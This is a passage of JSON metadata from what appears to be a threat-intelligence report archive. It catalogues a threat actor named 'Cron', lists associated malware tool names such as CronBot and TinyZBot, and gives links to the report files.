			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775439154,
	"ts_updated_at": 1775791458,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0fd73fb19634637c9d66265f9b891826d8fffbea.pdf",
		"text": "https://archive.orkl.eu/0fd73fb19634637c9d66265f9b891826d8fffbea.txt",
		"img": "https://archive.orkl.eu/0fd73fb19634637c9d66265f9b891826d8fffbea.jpg"
	}
}